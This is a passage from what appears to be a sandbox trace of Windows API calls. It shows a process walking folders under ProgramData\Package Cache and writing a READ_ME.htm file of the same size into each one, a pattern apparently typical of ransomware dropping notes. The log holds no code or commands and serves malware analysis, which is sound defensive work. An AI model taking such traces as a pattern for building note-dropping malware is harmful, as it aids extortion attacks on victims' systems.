Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\*" (normalized: "c:\\programdata\\package cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa504d590, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xa5099850, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xa5099850, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.811] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.811] SetErrorMode (uMode=0x0) returned 0x1 [0139.811] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0139.811] SetErrorMode (uMode=0x1) returned 0x0 [0139.811] SetErrorMode (uMode=0x0) returned 0x1 [0139.812] GetFileType (hFile=0x1d0) returned 0x1 [0139.812] WriteFile (in: hFile=0x1d0, lpBuffer=0x29acb68*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29acb68*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.813] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", lpFilePart=0x0) returned 0x4f [0139.813] SetErrorMode (uMode=0x1) returned 0x0 [0139.813] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\*" (normalized: "c:\\programdata\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523c770, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xa523c770, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xa523c770, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.814] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.814] SetErrorMode (uMode=0x0) returned 0x1 [0139.814] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", lpFilePart=0x0) returned 0x4f [0139.814] SetErrorMode (uMode=0x1) returned 0x0 [0139.814] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\*" (normalized: "c:\\programdata\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523c770, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xa523c770, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xa523c770, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.815] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.815] SetErrorMode (uMode=0x0) returned 0x1 [0139.815] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages", lpFilePart=0x0) returned 0x58 [0139.815] SetErrorMode (uMode=0x1) returned 0x0 [0139.815] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\*" (normalized: "c:\\programdata\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523c770, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xa523c770, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xa523c770, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.816] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.816] SetErrorMode (uMode=0x0) returned 0x1 [0139.816] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages", lpFilePart=0x0) returned 0x58 [0139.816] SetErrorMode (uMode=0x1) returned 0x0 [0139.816] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\*" (normalized: "c:\\programdata\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523c770, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xa523c770, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xa523c770, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.816] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.817] SetErrorMode (uMode=0x0) returned 0x1 [0139.817] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x72 [0139.817] SetErrorMode (uMode=0x1) returned 0x0 [0139.817] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\programdata\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523c770, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xa52628d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xa52628d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.817] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.818] SetErrorMode (uMode=0x0) returned 0x1 [0139.818] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x72 [0139.818] SetErrorMode (uMode=0x1) returned 0x0 [0139.818] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\programdata\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523c770, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xa52628d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xa52628d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.818] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.819] SetErrorMode (uMode=0x0) returned 0x1 [0139.819] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64\\READ_ME.htm", lpFilePart=0x0) returned 0x7e [0139.819] SetErrorMode (uMode=0x1) returned 0x0 [0139.819] SetErrorMode (uMode=0x0) returned 0x1 [0139.819] GetFileType (hFile=0x1d0) returned 0x1 [0139.820] WriteFile (in: hFile=0x1d0, lpBuffer=0x29b78d8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29b78d8*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0139.821] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x64 [0139.821] SetErrorMode (uMode=0x1) returned 0x0 [0139.821] SetErrorMode (uMode=0x0) returned 0x1 [0139.821] GetFileType (hFile=0x1d0) returned 0x1 [0139.822] WriteFile (in: hFile=0x1d0, lpBuffer=0x29bbf38*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29bbf38*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.823] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\READ_ME.htm", lpFilePart=0x0) returned 0x5b [0139.823] SetErrorMode (uMode=0x1) returned 0x0 [0139.824] SetErrorMode (uMode=0x0) returned 0x1 [0139.824] GetFileType (hFile=0x1d0) returned 0x1 [0139.824] WriteFile (in: hFile=0x1d0, lpBuffer=0x29c0568*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29c0568*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.826] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpFilePart=0x0) returned 0x4e [0139.826] SetErrorMode (uMode=0x1) returned 0x0 [0139.826] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20270a50, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x20296bb0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x20296bb0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.847] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.848] SetErrorMode (uMode=0x0) returned 0x1 [0139.848] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpFilePart=0x0) returned 0x4e [0139.849] SetErrorMode (uMode=0x1) returned 0x0 [0139.850] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20270a50, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x20296bb0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x20296bb0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.908] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.908] SetErrorMode (uMode=0x0) returned 0x1 [0139.908] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", lpFilePart=0x0) returned 0x57 [0139.908] SetErrorMode (uMode=0x1) returned 0x0 [0139.908] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20296bb0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x20296bb0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x20296bb0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.909] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.909] SetErrorMode (uMode=0x0) returned 0x1 [0139.909] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", lpFilePart=0x0) returned 0x57 [0139.909] SetErrorMode (uMode=0x1) returned 0x0 [0139.910] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20296bb0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x20296bb0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x20296bb0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.910] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.910] SetErrorMode (uMode=0x0) returned 0x1 [0139.910] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x71 [0139.911] SetErrorMode (uMode=0x1) returned 0x0 [0139.911] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20296bb0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x202e2e70, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x202e2e70, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.911] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.911] SetErrorMode (uMode=0x0) returned 0x1 [0139.912] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x71 [0139.912] SetErrorMode (uMode=0x1) returned 0x0 [0139.912] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20296bb0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x202e2e70, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x202e2e70, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.912] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.912] SetErrorMode (uMode=0x0) returned 0x1 [0139.912] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\READ_ME.htm", lpFilePart=0x0) returned 0x7d [0139.912] SetErrorMode (uMode=0x1) returned 0x0 [0139.913] SetErrorMode (uMode=0x0) returned 0x1 [0139.913] GetFileType (hFile=0x1d0) returned 0x1 [0139.913] WriteFile (in: hFile=0x1d0, lpBuffer=0x29cb268*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29cb268*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0139.915] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x63 [0139.915] SetErrorMode (uMode=0x1) returned 0x0 [0139.916] SetErrorMode (uMode=0x0) returned 0x1 [0139.916] GetFileType (hFile=0x1d0) returned 0x1 [0139.916] WriteFile (in: hFile=0x1d0, lpBuffer=0x29cf8b8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29cf8b8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.917] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\READ_ME.htm", lpFilePart=0x0) returned 0x5a [0139.917] SetErrorMode (uMode=0x1) returned 0x0 [0139.918] SetErrorMode (uMode=0x0) returned 0x1 [0139.918] GetFileType (hFile=0x1d0) returned 0x1 [0139.918] WriteFile (in: hFile=0x1d0, lpBuffer=0x29d3ee8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29d3ee8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.920] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpFilePart=0x0) returned 0x4e [0139.920] SetErrorMode (uMode=0x1) returned 0x0 [0139.920] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20224790, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x20270a50, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x20270a50, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.922] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.922] SetErrorMode (uMode=0x0) returned 0x1 [0139.923] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpFilePart=0x0) returned 0x4e [0139.923] SetErrorMode (uMode=0x1) returned 0x0 [0139.923] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20224790, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x20270a50, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x20270a50, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.923] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.923] SetErrorMode (uMode=0x0) returned 0x1 [0139.923] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", lpFilePart=0x0) returned 0x57 [0139.923] SetErrorMode (uMode=0x1) returned 0x0 [0139.924] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20270a50, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x20270a50, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x20270a50, 